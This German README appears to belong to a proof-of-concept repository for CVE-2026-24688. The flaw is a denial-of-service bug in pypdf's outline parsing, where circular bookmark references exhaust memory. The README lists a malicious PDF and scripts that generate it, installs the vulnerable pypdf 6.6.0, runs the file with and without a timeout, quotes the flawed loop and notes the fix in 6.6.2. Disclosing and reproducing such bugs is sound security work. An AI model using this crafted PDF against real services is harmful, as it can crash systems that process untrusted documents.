
Proof-of-Concept-Exploit für CVE-2026-24688, eine Denial-of-Service-Schwachstelle in der Gliederungsanalyse von pypdf. Enthält einen Generator für bösartige PDFs sowie Reproduktionsskripte, die Speichererschöpfung und Systemabsturz demonstrieren.
Dieses Repository enthält Proof-of-Concept-Code zum Auslösen von CVE-2026-24688.
Kritische Denial-of-Service-Schwachstelle in der Outline- (Lesezeichen-) Parsing-Logik von pypdf. Bei der Verarbeitung einer PDF-Datei mit zirkulären Outline-Referenzen gerät der Parser in eine Endlosschleife, die kontinuierlich Speicher allokiert, auf meinem Rechner (TM) hunderte MBs Speicher pro Sekunde verbraucht und zum vollständigen Systemabsturz führt.
Dies ist ein DoS auf Systemebene, nicht nur ein Einfrieren der Anwendung.
malicious_circular_outline.pdf - Exploit-PDF mit zirkulärer Outline (754 Bytes)create_malicious_pdf.py - Skript zur Generierung der Exploit-PDFsimple_read_pdf.py - Einfaches Testskript zur Reproduktion der Schwachstelletest_pypdf.sh - Automatisiertes Testskript (installiert pypdf und führt den Test aus)README.mdWARNUNG: Diese Tests können Ihr System zum Absturz bringen, wenn Sie den Speicherverbrauch nicht im Auge behalten und ihn nicht rechtzeitig abbrechen.
# Führen Sie das automatisierte Testskript aus (mit Timeout-Schutz)
chmod +x test_pypdf.sh
./test_pypdf.sh
# Dies wird:
# 1. Die verwundbare Version von pypdf installieren
# 2. Den Test mit 15-Sekunden-Timeout ausführen
# 3. Das Speicherverbrauchsverhalten anzeigen
# pypdf installieren (verwundbare Version 6.6.0)
pip install "pypdf==6.6.0"
# Mit Timeout ausführen
timeout 10s python3 simple_read_pdf.py malicious_circular_outline.pdf
# pypdf installieren (verwundbare Version 6.6.0)
pip install "pypdf==6.6.0"
# Ohne Timeout ausführen
python3 simple_read_pdf.py malicious_circular_outline.pdf
def _get_outline(self, node, outline=None):
while True: # ❌ Keine Zykluserkennung!
outline_obj = self._build_outline_item(node)
if outline_obj:
outline.append(outline_obj) # ❌ Heap-Allokation in der Schleife!
if "/Next" not in node:
break
node = node["/Next"] # ❌ Folgt zirkulären Referenzen
Grundursache: Kein Besucht-Set, keine Iterationsbegrenzung, kontinuierliche Speicherallokation
Real-World-Test:
Angriffsmerkmale:
Behoben in Version 6.6.2